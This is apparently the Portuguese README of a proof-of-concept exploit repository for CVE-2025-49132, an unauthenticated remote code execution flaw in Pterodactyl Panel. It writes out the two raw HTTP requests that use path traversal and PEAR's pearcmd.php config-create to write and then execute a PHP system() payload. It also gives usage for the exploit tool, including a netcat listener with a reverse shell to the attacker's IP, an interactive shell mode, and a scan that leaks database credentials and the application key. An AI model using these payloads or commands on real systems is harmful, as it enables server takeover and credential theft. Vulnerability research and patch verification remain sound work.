
CVE-2025-49132_PHP_PEAR_METHOD
Este repositório contém um exploit de prova de conceito (PoC) para CVE-2025-49132, uma vulnerabilidade crítica de execução remota de código não autenticada em versões do Pterodactyl Panel anteriores à 1.11.11.
Pterodactyl Panel é um painel gratuito e de código aberto para gerenciamento de servidores de jogos, desenvolvido em PHP. A vulnerabilidade permite que um atacante não autenticado execute comandos arbitrários do sistema no servidor alvo por meio do tratamento inadequado do endpoint /locales/locale.json combinado com a funcionalidade pearcmd.php do PHP PEAR.
PHP PEAR (PHP Extension and Application Repository) é um framework e sistema de distribuição para componentes PHP reutilizáveis. Ele fornece uma ferramenta de linha de comando (pearcmd.php) que pode ser usada para gerenciar pacotes PEAR.
O arquivo pearcmd.php processa comandos por meio de parâmetros de URL e, quando combinado com path traversal (travessia de diretórios), pode ser utilizado para:
A vulnerabilidade existe porque:
locale em /locales/locale.json permite travessia de diretórios sem validação adequadapearcmd.php aceita o comando +config-create, que pode gravar arquivos PHP arbitráriosUm atacante pode:
config-create para gravar código PHP malicioso em /tmpO exploit funciona em duas etapas:
GET /locales/locale.json?+config-create+/&locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&<?=system('id')?>+/tmp/payload.php HTTP/1.1
Host: target.com
Detalhamento:
+config-create+/ - Invoca a funcionalidade de criação de configuração do PEARlocale=../../../../../../usr/share/php/PEAR - Travessia de diretórios até o diretório do PEARnamespace=pearcmd - Tem como alvo o arquivo pearcmd.php<?=system('id')?>+/tmp/payload.php - Payload PHP e arquivo de destinoGET /locales/locale.json?locale=../../../../../../tmp&namespace=payload HTTP/1.1
Host: target.com
Detalhamento:
locale=../../../../../../tmp - Travessia de diretórios até o diretório /tmpnamespace=payload - Inclui e executa payload.phpO exploit exige o envio de caracteres especiais (<, >, ?, =) na URL sem codificação. Se esses caracteres forem codificados na URL:
<?=system('id')?> se torna %3C%3F%3Dsystem%28%27id%27%29%3F%3Egraph TD
A[Atacante] -->|1. Requisição de Travessia de Diretórios| B[locale.json]
B -->|2. Travessia até o PEAR| C[pearcmd.php]
C -->|3. Comando config-create| D[Gravar Payload PHP]
D -->|4. Criar Arquivo| E[payload.php]
E -->|5. Arquivo Criado| F[Sistema de Arquivos do Servidor]
A -->|6. Requisição de Execução| G[locale.json]
G -->|7. Travessia até tmp| E
E -->|8. Incluir e Executar| H[Interpretador PHP]
H -->|9. Comando do Sistema| I[Comando Shell]
I -->|10. Saída do Comando| A
style A fill:#ff6b6b
style B fill:#4ecdc4
style C fill:#ffe66d
style E fill:#ff6b6b
style H fill:#ff6b6b
style I fill:#ff6b6b
sequenceDiagram
participant Atacante
participant Servidor Web
participant PEAR
participant Sistema de Arquivos
participant Motor PHP
Atacante->>Servidor Web: GET locale.json com config-create
Servidor Web->>PEAR: Travessia de diretórios até pearcmd
PEAR->>Sistema de Arquivos: Criar payload.php
Sistema de Arquivos-->>Atacante: 200 OK
Atacante->>Servidor Web: GET locale.json com namespace do payload
Servidor Web->>Sistema de Arquivos: Travessia de diretórios até payload.php
Sistema de Arquivos->>Motor PHP: Incluir payload
Motor PHP->>Motor PHP: Executar comando do sistema
Motor PHP-->>Atacante: Saída do Comando RCE
requestsgit clone https://github.com/xffsec/CVE-2025-49132_PEAR_METHOD.git
cd CVE-2025-49132_PEAR_METHOD
pip3 install -r requirements.txt
Ou manualmente:
pip3 install requests
python3 poc.py -H <target_host> -c "<command>"
# On attacker machine, start listener
nc -lvnp 4444
# Execute exploit with reverse shell
python3 poc.py -H <target_host> -r <your_ip>:4444
python3 poc.py -H <target_host> --shell
python3 poc.py -H <target_host> --fuzz
python3 poc.py -H <target_host> --scan
Verifica a CVE-2025-49132 por meio de vazamentos de configuração (credenciais do banco de dados, chave do aplicativo).
python3 poc.py -H <target_host> -c "whoami" -p "/opt/pear"
python3 poc.py -H <target_host> -c "id" -v
Mostra o progresso detalhado (criação do payload, caminho do PEAR, status da execução).
usage: poc.py [-h] -H HOST [-c COMMAND] [-r REVERSE_SHELL] [--shell] [--fuzz] [--scan]
[-p PEAR_PATH] [-e ENDPOINT] [--ssl] [--timeout TIMEOUT] [-v]